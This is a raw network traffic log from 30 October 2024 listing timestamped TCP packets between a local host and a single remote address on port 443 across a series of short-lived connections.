Oct 30, 2024 02:28:24.033162117 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.160574913 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.160626888 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.160703897 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.160767078 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.160809040 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.160871029 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.161467075 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.161500931 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.161529064 CET	49915	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.161544085 CET	443	49915	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.170238018 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.170285940 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.170380116 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.170519114 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.170531034 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.181771994 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.182146072 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.182182074 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.182615042 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.182621956 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.226116896 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.226540089 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.226552963 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.227003098 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.227008104 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.314829111 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.314856052 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.314898968 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.314939022 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.314999104 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.315186024 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.315231085 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.315310955 CET	49916	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.315342903 CET	443	49916	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.317914009 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.317939997 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.318023920 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.318188906 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.318203926 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.359817028 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.359888077 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.359992981 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.360048056 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.360094070 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.360255003 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.360261917 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.360276937 CET	49917	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.360280991 CET	443	49917	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.362409115 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.362431049 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.362498999 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.362627029 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.362636089 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.736429930 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.736871004 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.736882925 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.737394094 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.737400055 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.748964071 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.749305964 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.749327898 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.749830961 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.749838114 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.865607977 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.865677118 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.865737915 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.865747929 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.865799904 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.865853071 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.878345013 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.878350973 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.878437996 CET	49919	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.878441095 CET	443	49919	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.881309032 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.881331921 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.881445885 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.881577015 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.881589890 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.885515928 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.885659933 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.885737896 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.885916948 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.885916948 CET	49918	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.885961056 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.885987043 CET	443	49918	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.887978077 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.888005018 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.888077021 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.888248920 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.888259888 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.946659088 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.947105885 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.947119951 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:24.947575092 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:24.947581053 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.070734024 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.071135044 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.071165085 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.071526051 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.071531057 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.081638098 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.081794024 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.081855059 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.081878901 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.081891060 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.081902027 CET	49920	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.081907034 CET	443	49920	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.084301949 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.084331036 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.084409952 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.084547997 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.084562063 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205105066 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205127954 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205167055 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.205178022 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205190897 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205239058 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.205583096 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.205598116 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.205610037 CET	49921	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.205615044 CET	443	49921	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.208364964 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.208393097 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.208479881 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.208647013 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.208652973 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.218997955 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.219537020 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.219553947 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.219970942 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.219974995 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.353811979 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.353970051 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.354043007 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.354079962 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.354134083 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.354234934 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.354250908 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.354260921 CET	49922	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.354265928 CET	443	49922	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.357125998 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.357155085 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.357239962 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.357414007 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.357429028 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.622149944 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.622966051 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.622981071 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.623431921 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.623436928 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.628690958 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.629081964 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.629095078 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.629452944 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.629457951 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.750118971 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.750276089 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.750323057 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.750586987 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.750602007 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.750611067 CET	49924	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.750616074 CET	443	49924	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.754069090 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.754091024 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.754147053 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.754333019 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.754347086 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766207933 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766273975 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766315937 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.766326904 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766371965 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766421080 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.766536951 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.766542912 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.766551971 CET	49923	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.766555071 CET	443	49923	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.769973040 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.770056963 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.770123959 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.770219088 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.770253897 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.835520029 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.835912943 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.835935116 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.836338997 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.836353064 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.942181110 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.942733049 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.942749977 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.943192959 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.943197966 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.967453003 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.967541933 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.967602968 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.967716932 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.967729092 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.967765093 CET	49925	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.967770100 CET	443	49925	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.970324993 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.970347881 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:25.970427990 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.970575094 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:25.970590115 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.071647882 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.071712971 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.071768045 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.071933985 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.071945906 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.071985006 CET	49926	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.071990013 CET	443	49926	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.074667931 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.074716091 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.074815989 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.074949026 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.074984074 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.102303028 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.102660894 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.102685928 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.103095055 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.103101015 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.234313965 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.234349012 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.234406948 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.234414101 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.234466076 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.234675884 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.234687090 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.234719038 CET	49927	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.234723091 CET	443	49927	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.237502098 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.237586021 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.237663031 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.237792015 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.237819910 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.493798971 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.494215965 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.494237900 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.494678974 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.494683981 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.519728899 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.520035028 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.520071983 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.520447016 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.520463943 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.627180099 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.627471924 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.627548933 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.627602100 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.627610922 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.627620935 CET	49928	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.627624989 CET	443	49928	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.630616903 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.630645990 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.630738974 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.630898952 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.630912066 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.650809050 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.650891066 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.650957108 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.650988102 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.651019096 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.651081085 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.651122093 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.651148081 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.651196957 CET	49929	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.651211977 CET	443	49929	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.653126001 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.653219938 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.653306961 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.653433084 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.653469086 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.716428995 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.716854095 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.716864109 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.717278004 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.717283010 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.795725107 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.796055079 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.796094894 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.796550035 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.796561956 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.848156929 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.848288059 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.848346949 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.848391056 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.848402023 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.848409891 CET	49930	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.848414898 CET	443	49930	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.850400925 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.850414991 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.850476980 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.850591898 CET	49935	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.850603104 CET	443	49935	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.926615953 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.926645994 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.926701069 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.926727057 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.926753044 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.926816940 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.926954985 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.927009106 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.927041054 CET	49931	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.927052975 CET	443	49931	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.929649115 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.929687977 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.929779053 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.929949045 CET	49936	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.929975986 CET	443	49936	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.970813990 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.971558094 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.971621037 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:26.972003937 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:26.972021103 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.098931074 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.099010944 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.099082947 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.099224091 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.099263906 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.099292040 CET	49932	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.099307060 CET	443	49932	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.101994991 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.102019072 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.102102041 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.102258921 CET	49937	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.102273941 CET	443	49937	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.382597923 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.383316994 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.383331060 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.383788109 CET	49933	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.383793116 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.391978979 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.392273903 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.392328024 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.392617941 CET	49934	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:27.392635107 CET	443	49934	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.515914917 CET	443	49933	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:27.516097069 CET	443	49933	13.107.246.45	192.168.2.4
